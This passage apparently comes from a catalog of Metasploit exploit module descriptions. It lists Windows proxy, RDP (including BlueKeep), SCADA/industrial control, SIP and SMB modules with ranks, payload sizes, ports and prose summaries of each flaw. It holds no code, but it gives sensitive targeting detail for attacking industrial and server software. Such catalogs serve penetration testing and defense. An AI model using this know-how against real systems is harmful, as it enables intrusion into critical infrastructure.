  Space: 600
  Avoid: 13 characters

Description:
  This module exploits a buffer overflow in the Blue Coat Systems 
WinProxy
  service by sending a long port value for the Host header in a HTTP
  request.

End Exploit Number 2326

Begin Exploit Number 2327
       Name: CCProxy Telnet Proxy Ping Overflow
     Module: exploit/windows/proxy/ccproxy_telnet_ping
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-11-11

Payload information:
  Space: 1012
  Avoid: 6 characters

Description:
  This module exploits the YoungZSoft CCProxy <= v6.2 suite
  Telnet service. The stack is overwritten when sending an overly
  long address to the 'ping' command.

End Exploit Number 2327

Begin Exploit Number 2328
       Name: Proxy-Pro Professional GateKeeper 4.7 GET Request 
Overflow
     Module: exploit/windows/proxy/proxypro_http_get
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-02-23

Payload information:
  Space: 500
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in Proxy-Pro 
Professional
  GateKeeper 4.7. By sending a long HTTP GET to the default port
  of 3128, a remote attacker could overflow a buffer and execute
  arbitrary code.

End Exploit Number 2328

Begin Exploit Number 2329
       Name: Qbik WinGate WWW Proxy Server URL Processing Overflow
     Module: exploit/windows/proxy/qbik_wingate_wwwproxy
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-06-07

Payload information:
  Space: 1000
  Avoid: 18 characters

Description:
  This module exploits a stack buffer overflow in Qbik WinGate version
  6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
  HTTP proxy service on port 80, a remote attacker could overflow
  a buffer and execute arbitrary code.

End Exploit Number 2329

Begin Exploit Number 2330
       Name: CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use 
After Free
     Module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2019-05-14

Payload information:
  Space: 952

Description:
  The RDP termdd.sys driver improperly handles binds to internal-only 
channel MS_T120,
  allowing a malformed Disconnect Provider Indication message to cause 
use-after-free.
  With a controllable data/size remote nonpaged pool spray, an
```

```
indirect call gadget of
  the freed channel is used to achieve arbitrary code execution.

  Windows 7 SP1 and Windows Server 2008 R2 are the only currently
supported targets.

  Windows 7 SP1 should be exploitable in its default configuration,
assuming your target
  selection is correctly matched to the system's memory layout.


HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-
Tcp\fDisableCam
  *needs* to be set to 0 for exploitation to succeed against Windows
Server 2008 R2.
  This is a non-standard configuration for normal servers, and the
target will crash if
  the aforementioned Registry key is not set!

  If the target is crashing regardless, you will likely need to
determine the non-paged
  pool base in kernel memory and set it as the GROOMBASE option.

End Exploit Number 2330

Begin Exploit Number 2331
       Name: RDP DOUBLEPULSAR Remote Code Execution
     Module: exploit/windows/rdp/rdp_doublepulsar_rce
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-04-14

Payload information:
  Space: 3316

Description:
  This module executes a Metasploit payload against the Equation
Group's
  DOUBLEPULSAR implant for RDP.

  While this module primarily performs code execution against the
implant,
  the "Neutralize implant" target allows you to disable the implant.

End Exploit Number 2331

Begin Exploit Number 2332
```

```
       Name: Sage X3 Administration Service Authentication Bypass
Command Execution
     Module: exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2021-07-07

Payload information:

Description:
  This module leverages an authentication bypass exploit within Sage
X3 AdxSrv's administration
  protocol to execute arbitrary commands as SYSTEM against a Sage X3
Server running an
  available AdxAdmin service.

End Exploit Number 2332

Begin Exploit Number 2333
       Name: ABB MicroSCADA wserver.exe Remote Code Execution
     Module: exploit/windows/scada/abb_wserver_exec
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-05

Payload information:

Description:
  This module exploits a remote stack buffer overflow vulnerability in
ABB MicroSCADA. The
  issue is due to the handling of unauthenticated EXECUTE operations
on the wserver.exe
  component, which allows arbitrary commands. The component is
disabled by default, but
  required when a project uses the SCIL function WORKSTATION_CALL.

  This module has been tested successfully on ABB MicroSCADA Pro
SYS600 9.3 on
  Windows XP SP3 and Windows 7 SP1.

End Exploit Number 2333

Begin Exploit Number 2334
       Name: Advantech WebAccess Dashboard Viewer uploadImageCommon
```

```
Arbitrary File Upload
     Module: exploit/windows/scada/
advantech_webaccess_dashboard_file_upload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-05

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability found in 
Advantech WebAccess 8.0.

  This vulnerability allows remote attackers to execute arbitrary code 
on vulnerable installations
  of Advantech WebAccess. Authentication is not required to exploit 
this vulnerability.

  The specific flaw exists within the WebAccess Dashboard Viewer. 
Insufficient validation within
  the uploadImageCommon function in the UploadAjaxAction script allows 
unauthenticated callers to
  upload arbitrary code (instead of an image) to the server, which 
will then be executed under the
  high-privilege context of the IIS AppPool.

End Exploit Number 2334

Begin Exploit Number 2335
       Name: Advantech WebAccess Webvrpcs Service Opcode 80061 Stack 
Buffer Overflow
     Module: exploit/windows/scada/advantech_webaccess_webvrpcs_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-11-02

Payload information:
  Space: 2048
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Advantech WebAccess 
8.2.
  By sending a specially crafted DCERPC request, an attacker could 
```

```
overflow
  the buffer and execute arbitrary code.

End Exploit Number 2335

Begin Exploit Number 2336
       Name: CitectSCADA/CitectFacilities ODBC Buffer Overflow
     Module: exploit/windows/scada/citect_scada_odbc
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-06-11

Payload information:
  Space: 212
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in CitectSCADA's ODBC
daemon.
  This has only been tested against Citect v5, v6 and v7.

End Exploit Number 2336

Begin Exploit Number 2337
       Name: SCADA 3S CoDeSys Gateway Server Directory Traversal
     Module: exploit/windows/scada/codesys_gateway_server_traversal
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-02

Payload information:

Description:
  This module exploits a directory traversal vulnerability that allows
arbitrary
  file creation, which can be used to execute a mof file in order to
gain remote
  execution within the SCADA system.

End Exploit Number 2337

Begin Exploit Number 2338
       Name: SCADA 3S CoDeSys CmpWebServer Stack Buffer Overflow
     Module: exploit/windows/scada/codesys_web_server
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-12-02

Payload information:
  Avoid: 10 characters

Description:
  This module exploits a remote stack buffer overflow vulnerability in
  3S-Smart Software Solutions product CoDeSys Scada Web Server Version
  1.1.9.9. This vulnerability affects versions 3.4 SP4 Patch 2 and
  earlier.

End Exploit Number 2338

Begin Exploit Number 2339
       Name: DaqFactory HMI NETB Request Overflow
     Module: exploit/windows/scada/daq_factory_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-09-13

Payload information:
  Space: 600
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Azeotech's
DaqFactory
  product. The specific vulnerability is triggered when sending a
specially crafted
  'NETB' request to port 20034. Exploitation of this vulnerability may
take a few
  seconds due to the use of egghunter.  This vulnerability was one of
the 14
  releases discovered by researcher Luigi Auriemma.

End Exploit Number 2339

Begin Exploit Number 2340
       Name: Delta Electronics Delta Industrial Automation COMMGR 1.08
Stack Buffer Overflow
     Module: exploit/windows/scada/delta_ia_commgr_bof
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-07-02

Payload information:
  Space: 640
  Avoid: 1 characters

Description:
  This module exploits a stack based buffer overflow in Delta 
Electronics Delta Industrial
  Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when 
handling specially
  crafted packets. This module has been tested successfully on Delta 
Electronics Delta
  Industrial Automation COMMGR 1.08 over
    Windows XP SP3,
    Windows 7 SP1, and
    Windows 8.1.

End Exploit Number 2340

Begin Exploit Number 2341
       Name: Siemens FactoryLink 8 CSService Logging Path Param Buffer 
Overflow
     Module: exploit/windows/scada/factorylink_csservice
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-03-25

Payload information:
  Avoid: 28 characters

Description:
  This module exploits a vulnerability found on Siemens FactoryLink 8. 
The
  vulnerability occurs when CSService.exe processes a 
CSMSG_ListFiles_REQ message,
  the user-supplied path first gets converted to ANSI format (CodePage 
0), and then
  gets handled by a logging routine where proper bounds checking is 
not done,
  therefore causing a stack-based buffer overflow, and results 
arbitrary code execution.
```

```
End Exploit Number 2341

Begin Exploit Number 2342
       Name: Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow
     Module: exploit/windows/scada/factorylink_vrn_09
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-03-21

Payload information:
  Space: 550
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 
SP2,
  and 8.0.1.703.  By sending a specially crafted packet, an attacker 
may be able to
  execute arbitrary code due to the improper use of a vsprintf() 
function while
  processing the user-supplied text field.  Originally found and 
posted by
  Luigi Auriemma.

End Exploit Number 2342

Begin Exploit Number 2343
       Name: GE Proficy CIMPLICITY gefebt.exe Remote Code Execution
     Module: exploit/windows/scada/ge_proficy_cimplicity_gefebt
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-23

Payload information:

Description:
  This module abuses the gefebt.exe component in GE Proficy 
CIMPLICITY, reachable through the
  CIMPLICIY CimWebServer. The vulnerable component allows to execute 
remote BCL files in
  shared resources. An attacker can abuse this behavior to execute a 
malicious BCL and
  drop an arbitrary EXE. The last one can be executed remotely through 
the WebView server.
```

```
  This module has been tested successfully in GE Proficy CIMPLICITY
7.5 with the embedded
  CimWebServer. This module starts a WebDAV server to provide the
malicious BCL files. If
  the target does not have the WebClient service enabled, an external
SMB service is necessary.

End Exploit Number 2343

Begin Exploit Number 2344
       Name: Iconics GENESIS32 Integer Overflow Version 9.21.201.01
     Module: exploit/windows/scada/iconics_genbroker
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-03-21

Payload information:
  Avoid: 1 characters

Description:
  The GenBroker service on port 38080 is affected by three integer
overflow
  vulnerabilities while handling opcode 0x4b0, which is caused by
abusing the
  the memory allocations needed for the number of elements passed by
the client.
  This results unexpected behaviors such as direct registry calls,
memory location
  calls, or arbitrary remote code execution.  Please note that in
order to ensure
  reliability, this exploit will try to open calc (hidden), inject
itself into the
  process, and then open up a shell session.  Also, DEP bypass is
supported.

End Exploit Number 2344

Begin Exploit Number 2345
       Name: ICONICS WebHMI ActiveX Buffer Overflow
     Module: exploit/windows/scada/iconics_webhmi_setactivexguid
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-05-05
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in ICONICS WebHMI's
ActiveX control.
  By supplying a long string of data to the 'SetActiveXGUID'
parameter, GenVersion.dll
  fails to do any proper bounds checking before this input is copied
onto the stack,
  which causes a buffer overflow, and results arbitrary code execution
under the context
  of the user.

End Exploit Number 2345

Begin Exploit Number 2346
       Name: 7-Technologies IGSS IGSSdataServer.exe Stack Buffer
Overflow
     Module: exploit/windows/scada/igss9_igssdataserver_listall
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-03-24

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the igssdataserver.exe
component of 7-Technologies
  IGSS up to version 9.00.00 b11063. While processing a ListAll
command, the application
  fails to do proper bounds checking before copying data into a small
buffer on the stack.
  This causes a buffer overflow and allows to overwrite a structured
exception handling record
  on the stack, allowing for unauthenticated remote code execution.
Also, after the payload
  exits, IGSSdataServer.exe should automatically recover.

End Exploit Number 2346

Begin Exploit Number 2347
       Name: 7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer
Overflow
     Module: exploit/windows/scada/igss9_igssdataserver_rename
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-03-24

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found on 7-Technologies IGSS 9. 
By supplying
  a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 
'Add' (0x04) command,
  a buffer overflow condition occurs in IGSSdataServer.exe while 
handing an RMS report,
  which results arbitrary code execution under the context of the 
user.

  The attack is carried out in three stages.  The first stage sends 
the final payload to
  IGSSdataServer.exe, which will remain in memory.  The second stage 
sends the Add command
  so the process can find a valid ID for the Rename command.  The last 
stage then triggers
  the vulnerability with the Rename command, and uses an egghunter to 
search for the
  shellcode that we sent in stage 1.  The use of egghunter appears to 
be necessary due to
  the small buffer size, which cannot even contain our ROP chain and 
the final payload.

End Exploit Number 2347

Begin Exploit Number 2348
       Name: 7-Technologies IGSS 9 Data Server/Collector Packet 
Handling Vulnerabilities
     Module: exploit/windows/scada/igss9_misc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-03-24

Payload information:

Description:
  This module exploits multiple vulnerabilities found on IGSS 9's Data 
Server and
```

```
  Data Collector services.  The initial approach is first by
transferring our binary
  with Write packets (opcode 0x0D) via port 12401
(igssdataserver.exe), and then send
  an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause
dc.exe to run
  that payload with a CreateProcessA() function as a new thread.

End Exploit Number 2348

Begin Exploit Number 2349
       Name: Interactive Graphical SCADA System Remote Command
Injection
     Module: exploit/windows/scada/igss_exec_17
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-03-21

Payload information:
  Space: 153

Description:
  This module abuses a directory traversal flaw in Interactive
  Graphical SCADA System v9.00. In conjunction with the traversal
  flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
  may be able to execute arbitrary system commands.

End Exploit Number 2349

Begin Exploit Number 2350
       Name: InduSoft Web Studio Arbitrary Upload Remote Code
Execution
     Module: exploit/windows/scada/indusoft_webstudio_exec
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-04

Payload information:
  Avoid: 0 characters

Description:
  This module exploits a lack of authentication and authorization on
the InduSoft
  Web Studio Remote Agent, that allows a remote attacker to write
```

```
arbitrary files to
  the filesystem, by abusing the functions provided by the software.

  The module uses the Windows Management Instrumentation service to
execute an
  arbitrary payload on vulnerable installations of InduSoft Web Studio
on Windows pre
  Vista. It has been successfully tested on InduSoft Web Studio 6.1
SP6 over Windows
  XP SP3 and Windows 2003 SP2.

End Exploit Number 2350

Begin Exploit Number 2351
       Name: MOXA Device Manager Tool 2.1 Buffer Overflow
     Module: exploit/windows/scada/moxa_mdmtool
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-10-20

Payload information:
  Space: 600
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
  When sending a specially crafted MDMGw (MDM2_Gateway) response, an
  attacker may be able to execute arbitrary code.

End Exploit Number 2351

Begin Exploit Number 2352
       Name: Procyon Core Server HMI Coreservice.exe Stack Buffer
Overflow
     Module: exploit/windows/scada/procyon_core_server
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-09-08

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a vulnerability in the coreservice.exe
```

```
component of Proycon
  Core Server <= v1.13. While processing a password, the application
  fails to do proper bounds checking before copying data into a small
buffer on the stack.
  This causes a buffer overflow and allows to overwrite a structured
exception handling
  record on the stack, allowing for unauthenticated remote code
execution.  Also, after the
  payload exits, Coreservice.exe should automatically recover.

End Exploit Number 2352

Begin Exploit Number 2353
       Name: DATAC RealWin SCADA Server Buffer Overflow
     Module: exploit/windows/scada/realwin
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2008-09-26

Payload information:
  Space: 550
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in DATAC Control
  International RealWin SCADA Server 2.0 (Build 6.0.10.37).
  By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
  an attacker may be able to execute arbitrary code.

End Exploit Number 2353

Begin Exploit Number 2354
       Name: DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE
Buffer Overflow
     Module: exploit/windows/scada/realwin_on_fc_binfile_a
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-03-21

Payload information:
  Space: 450
  Avoid: 13 characters

Description:
  This module exploits a vulnerability found in DATAC Control 
International RealWin
  SCADA Server 2.1 and below. By supplying a specially crafted 
On_FC_BINFILE_FCS_*FILE
  packet via port 910, RealWin will try to create a file (which would 
be saved to
  C:\Program Files\DATAC\Real Win\RW-version\filename) by first 
copying the user-
  supplied filename with an inline memcpy routine without proper 
bounds checking, which
  results a stack-based buffer overflow, allowing arbitrary remote 
code execution.

  Tested version: 2.0 (Build 6.1.8.10)

End Exploit Number 2354

Begin Exploit Number 2355
       Name: RealWin SCADA Server DATAC Login Buffer Overflow
     Module: exploit/windows/scada/realwin_on_fcs_login
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-03-21

Payload information:
  Space: 450
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in DATAC Control
  International RealWin SCADA Server 2.1 (Build 6.0.10.10) or
  earlier.  By sending a specially crafted On_FC_CONNECT_FCS_LOGIN
  packet containing a long username, an attacker may be able to
  execute arbitrary code.

End Exploit Number 2355

Begin Exploit Number 2356
       Name: DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer 
Overflow
     Module: exploit/windows/scada/realwin_scpc_initialize
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-10-15
```

```
Payload information:
  Space: 550
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in DATAC Control
  International RealWin SCADA Server 2.0 (Build 6.1.8.10).
  By sending a specially crafted packet, an attacker may be able to
execute arbitrary code.

End Exploit Number 2356

Begin Exploit Number 2357
       Name: DATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer
Overflow
     Module: exploit/windows/scada/realwin_scpc_initialize_rf
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-10-15

Payload information:
  Space: 550
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in DATAC Control
  International RealWin SCADA Server 2.0 (Build 6.1.8.10).
  By sending a specially crafted packet, an attacker may be able to
execute arbitrary code.

End Exploit Number 2357

Begin Exploit Number 2358
       Name: DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow
     Module: exploit/windows/scada/realwin_scpc_txtevent
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-11-18

Payload information:
  Space: 550
  Avoid: 4 characters
```

```
Description:
  This module exploits a stack buffer overflow in DATAC Control
  International RealWin SCADA Server 2.0 (Build 6.1.8.10).
  By sending a specially crafted packet,
  an attacker may be able to execute arbitrary code.

End Exploit Number 2358

Begin Exploit Number 2359
       Name: Rockwell FactoryTalk View SE SCADA Unauthenticated Remote
Code Execution
     Module: exploit/windows/scada/rockwell_factorytalk_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-22

Payload information:

Description:
  This module exploits a series of vulnerabilities to achieve
unauthenticated remote code execution
  on the Rockwell FactoryTalk View SE SCADA product as the IIS user.
  The attack relies on the chaining of five separate vulnerabilities.
The first vulnerability is an unauthenticated project copy request,
  the second is a directory traversal, and the third is a race
condition. In order to achieve full remote code execution on all
  targets, two information leak vulnerabilities are also abused.
  This exploit was used by the Flashback team (Pedro Ribeiro + Radek
Domanski) in Pwn2Own Miami 2020 to win the EWS category.

End Exploit Number 2359

Begin Exploit Number 2360
       Name: Measuresoft ScadaPro Remote Command Execution
     Module: exploit/windows/scada/scadapro_cmdexe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-09-16

Payload information:

Description:
  This module allows remote attackers to execute arbitrary commands on
the
```

```
  affected system by abusing via Directory Traversal attack when using
the
  'xf' command (execute function). An attacker can execute system()
from
  msvcrt.dll to upload a backdoor and gain remote code execution. This
  vulnerability affects version 4.0.0 and earlier.

End Exploit Number 2360

Begin Exploit Number 2361
       Name: Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57
     Module: exploit/windows/scada/sunway_force_control_netdbsrv
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-09-22

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow found in the SNMP
  NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow
is
  triggered when sending an overly long string to the listening
service
  on port 2001.

End Exploit Number 2361

Begin Exploit Number 2362
       Name: Sielco Sistemi Winlog Buffer Overflow
     Module: exploit/windows/scada/winlog_runtime
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-01-13

Payload information:
  Space: 450
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Sielco
  Sistem Winlog <= 2.07.00. When sending a specially formatted
  packet to the Runtime.exe service, an attacker may be able to
  execute arbitrary code.

End Exploit Number 2362

Begin Exploit Number 2363
       Name: Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16
     Module: exploit/windows/scada/winlog_runtime_2
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-04

Payload information:
  Space: 2000
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in Sielco Sistem Winlog <= 
2.07.16.
  When sending a specially formatted packet to the Runtime.exe service 
on port 46824,
  an attacker may be able to execute arbitrary code.

End Exploit Number 2363

Begin Exploit Number 2364
       Name: Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow
     Module: exploit/windows/scada/yokogawa_bkbcopyd_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-03-10

Payload information:
  Space: 373
  Avoid: 4 characters

Description:
  This module exploits a stack based buffer overflow in Yokogawa 
CENTUM CS 3000. The vulnerability
  exists in the service BKBCopyD.exe when handling specially crafted 
packets. This module has
  been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over 
Windows XP SP3.

End Exploit Number 2364
```

```
Begin Exploit Number 2365
       Name: Yokogawa CS3000 BKESimmgr.exe Buffer Overflow
     Module: exploit/windows/scada/yokogawa_bkesimmgr_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-03-10

Payload information:
  Space: 340

Description:
  This module exploits an stack based buffer overflow on Yokogawa 
CS3000. The vulnerability
  exists in the BKESimmgr.exe service when handling specially crafted 
packets, due to an
  insecure usage of memcpy, using attacker controlled data as the size 
count. This module
  has been tested successfully in Yokogawa CS3000 R3.08.50 over 
Windows XP SP3 and Windows
  2003 SP2.

End Exploit Number 2365

Begin Exploit Number 2366
       Name: Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow
     Module: exploit/windows/scada/yokogawa_bkfsim_vhfd
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-05-23

Payload information:
  Space: 1770
  Avoid: 1 characters

Description:
  This module exploits a stack based buffer overflow on Yokogawa 
CS3000. The vulnerability
  exists in the service BKFSim_vhfd.exe when using malicious user-
controlled data to create
  logs using functions like vsprintf and memcpy in an insecure way. 
This module has been
  tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows 
XP SP3.
```

```
End Exploit Number 2366

Begin Exploit Number 2367
       Name: Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow
     Module: exploit/windows/scada/yokogawa_bkhodeq_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2014-03-10

Payload information:
  Space: 6000
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow in Yokogawa
CENTUM CS 3000. The vulnerability
  exists in the service BKHOdeq.exe when handling specially crafted
packets. This module has
  been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over
Windows XP SP3 and Windows
  2003 SP2.

End Exploit Number 2367

Begin Exploit Number 2368
       Name: AIM Triton 1.0.4 CSeq Buffer Overflow
     Module: exploit/windows/sip/aim_triton_cseq
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-07-10

Payload information:
  Space: 400
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in AOL\'s AIM
  Triton 1.0.4. By sending an overly long CSeq value,
  a remote attacker could overflow a buffer and execute
  arbitrary code on the system with the privileges of
  the affected application.

End Exploit Number 2368
```

```
Begin Exploit Number 2369
       Name: SIPfoundry sipXezPhone 0.35a CSeq Field Overflow
     Module: exploit/windows/sip/sipxezphone_cseq
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-07-10

Payload information:
  Space: 400
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in SIPfoundry's
  sipXezPhone version 0.35a. By sending an long CSeq header,
  a remote attacker could overflow a buffer and execute
  arbitrary code on the system with the privileges of
  the affected application.

End Exploit Number 2369

Begin Exploit Number 2370
       Name: SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow
     Module: exploit/windows/sip/sipxphone_cseq
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-07-10

Payload information:
  Space: 400
  Avoid: 5 characters

Description:
  This module exploits a buffer overflow in SIPfoundry's
  sipXphone 2.6.0.27. By sending an overly long CSeq value,
  a remote attacker could overflow a buffer and execute
  arbitrary code on the system with the privileges of
  the affected application.

End Exploit Number 2370

Begin Exploit Number 2371
       Name: SMBv3 Compression Buffer Overflow
     Module: exploit/windows/smb/cve_2020_0796_smbghost
    Platform: Windows
        Arch: 
  Privileged: Yes
     License: Metasploit Framework License (BSD)
        Rank: Average
   Disclosed: 2020-03-13

Payload information:
  Space: 600

Description:
  A vulnerability exists within the Microsoft Server Message Block 
3.1.1 (SMBv3) protocol that can be leveraged to
  execute code on a vulnerable server. This remove exploit 
implementation leverages this flaw to execute code
  in the context of the kernel, finally yielding a session as NT 
AUTHORITY\SYSTEM in spoolsv.exe. Exploitation
  can take a few minutes as the necessary data is gathered.

End Exploit Number 2371

Begin Exploit Number 2372
        Name: Generic DLL Injection From Shared Resource
      Module: exploit/windows/smb/generic_smb_dll_injection
    Platform: Windows
        Arch: x86, x64
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Manual
   Disclosed: 2015-03-04

Payload information:
  Space: 2048

Description:
  This is a general-purpose module for exploiting conditions where a 
DLL can be loaded
  from a specified SMB share. This module serves payloads as DLLs over 
an SMB service.

End Exploit Number 2372

Begin Exploit Number 2373
        Name: Group Policy Script Execution From Shared Resource
      Module: exploit/windows/smb/group_policy_startup
    Platform: Windows
        Arch: x86, x64
  Privileged: No
     License: Metasploit Framework License (BSD)
        Rank: Manual
  Disclosed: 2015-01-26

Payload information:
  Space: 2048

Description:
  This is a general-purpose module for exploiting systems with Windows 
Group Policy
  configured to load VBS startup/logon scripts from remote locations. 
This module runs
  a SMB shared resource that will provide a payload through a VBS 
file. Startup scripts
  will be executed with SYSTEM privileges, while logon scripts will be 
executed with the
  user privileges. Have into account which the attacker still needs to 
redirect the
  target traffic to the fake SMB share to exploit it successfully. 
Please note in some
  cases, it will take 5 to 10 minutes to receive a session.

End Exploit Number 2373

Begin Exploit Number 2374
       Name: IPass Control Pipe Remote Command Execution
     Module: exploit/windows/smb/ipass_pipe_exec
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-01-21

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the IPass Client service. 
This service provides a
  named pipe which can be accessed by the user group BUILTIN\Users. 
This pipe can be abused
